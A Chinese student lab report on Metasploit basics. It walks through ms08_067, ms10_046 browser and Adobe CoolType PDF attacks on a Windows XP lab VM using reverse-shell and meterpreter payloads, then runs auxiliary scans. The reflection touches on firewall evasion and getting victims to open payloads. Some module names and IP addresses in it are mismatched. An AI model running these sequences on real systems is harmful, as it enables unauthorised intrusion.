20174303刘金晖 Exp6 MSF基础应用
一、实践原理
MSF默认存放模块的目录是 /usr/share/metasploit-framework/modules/
MSF有6个模块,分别对上面目录下的6个子文件夹:
-
auxiliary
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
-
exploits
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
-
payloads
成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。
-
- single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
- stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
- stages:利用stagers建立的连接下载后续payload
-
encoders
对payload进行加密,躲避AntiVirus检查的模块
-
nops
提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。
-
post
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作
二、实践过程
任务一:一个主动攻击实践,如ms08_067
1.ms08_067
- MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行
- 攻击机:kali 192.168.1.28
- 靶机:Windows xp 192.168.1.30
- 首先确保攻击机与靶机能ping通
- 攻击者输入nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.30 ,试探靶机是否存在此漏洞
- 打开控制台,输入search ms08-067 查看漏洞位置
- 依次输入以下指令,最后用ipconfig验证一下
use exploit/windows/smb/ms08_067_netapi set payload generic/shell_reverse_tcp set RHOST 192.168.1.30 set LHOST 192.168.1.29 exploit
2.ms17-010
- 攻击机:kali 192.168.1.28
- 靶机:Windows xp 192.168.1.30
- 攻击机输入nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.1.30探测靶机是否存在该漏洞
- 输入search ms17-010查看漏洞的渗透模块
- 依次输入
use exploit/windows/smb/ms07_029_msdns_zonename set payload generic/shell_reverse_tcp set RHOST 192.168.1.30 set LHOST 192.168.1.28 exploit
任务二:一个针对浏览器的攻击
-
ms10_046漏洞
- 攻击机:kali 192.168.1.28
- 靶机:Windows xp 192.168.1.30
- MS14_064漏洞是Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。
-
进入msf,输入 search ms10_046 先找相关漏洞模块
- 输入 use windows/browser/ms10_046_shortcut_icon_dllloader
- 输入set payload windows/meterpreter/reverse_tcp
- 输入show options ,查看配置信息
- 设置配置信息,依次输入
set LHOST 192.168.1.28 set SRVHOST 192.168.1.28 exploit
-
在靶机打开这个网址http://192.168.1.28:80/
- XP端完成打开网页后,在kali中【Ctrl+C】退出当前进程,输入 sessions ,可以看到当前建立了会话。
任务三:一个针对客户端的攻击
- Adobe Reader
- 攻击机:kali 192.168.1.28
- 靶机:Windows xp 192.168.1.30
- 查找adobe相关的攻击模块,输入search adobe
- 依次输入
use windows/fileformat/adobe_cooltype_sing //使用该漏洞 info //查看漏洞具体信息 set payload windows/meterpreter/reverse_tcp //选择攻击载荷 show options //查看详细信息 set LPORT 4303 //设置端口号 set LHOST 192.168.1.28 //设置攻击机IP地址 exploit //攻击
- 把20174303.pdf从目录下复制出来,复制到靶机
- 在攻击机依次输入以下指令进行监听
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.28 exploit
- 在靶机中打开pdf
- 在攻击机中发现连接成功了,输入ipconfig验证,证明回连成功啦
任务四:成功应用任何一个辅助模块(唯一)。
为了避免撞车,我做了好多个,我还去百度查看有没有重复,这么多个应该总有跟别人不一样的吧。
- 输入 show auxiliary ,查看可用的辅助模块
- 选择scanner/dns/dns_amp 模块
- 输入use scanner/dns/dns_amp
- 输入show options
- 配置信息
- exploit
- 选择scanner/ip/ipidsep 模块
- 输入use scanner/ip/ipidsep
- 输入show options
- 配置信息
- exploit
- 选择 auxiliary/scanner/discovery/arp_sweep
-
- 输入use auxiliary/scanner/discovery/arp_sweep
- 输入show options
- 配置信息
- exploit
- 选择scanner/discovery/udp_sweep
-
- 输入use scanner/discovery/udp_sweep
- 输入show options
- 配置信息
- run
三、实验总结
1.用自己的话解释什么是exploit,payload,encode.
- exploit是利用一个系统、应用或服务中的安全漏洞进行攻击
- payload是攻击载荷,用它实现攻击,实现我们的特定目的
- encode是编码,包装,隐藏,降低被发现的概率
2.离实战还缺些什么技术或步骤?
我觉得我们虽然实现了很多漏洞攻击,但是都是在很理想化的环境里完成的,如果要实战,那我们就需要能攻破防火墙或者绕过防火墙或者隐藏不被防火墙发现,应该更隐秘;此外,实战时我们要知道被攻击者的详细信息,比如哪些端口开放,以便选择更合适的攻击方式;我们在攻击时采用的打开pdf或者网址的方式,在实际过程中,怎么将他们传递过去,隐藏在哪,才能让被攻击者打开呢,这也需要研究。
3.实验感想
通过这次实验,看到了很多漏洞,看到了有这些漏洞的危险性,因此不断修复漏洞、维护系统是很有必要的,在实验过程中也查阅了很多资料,学到了很多。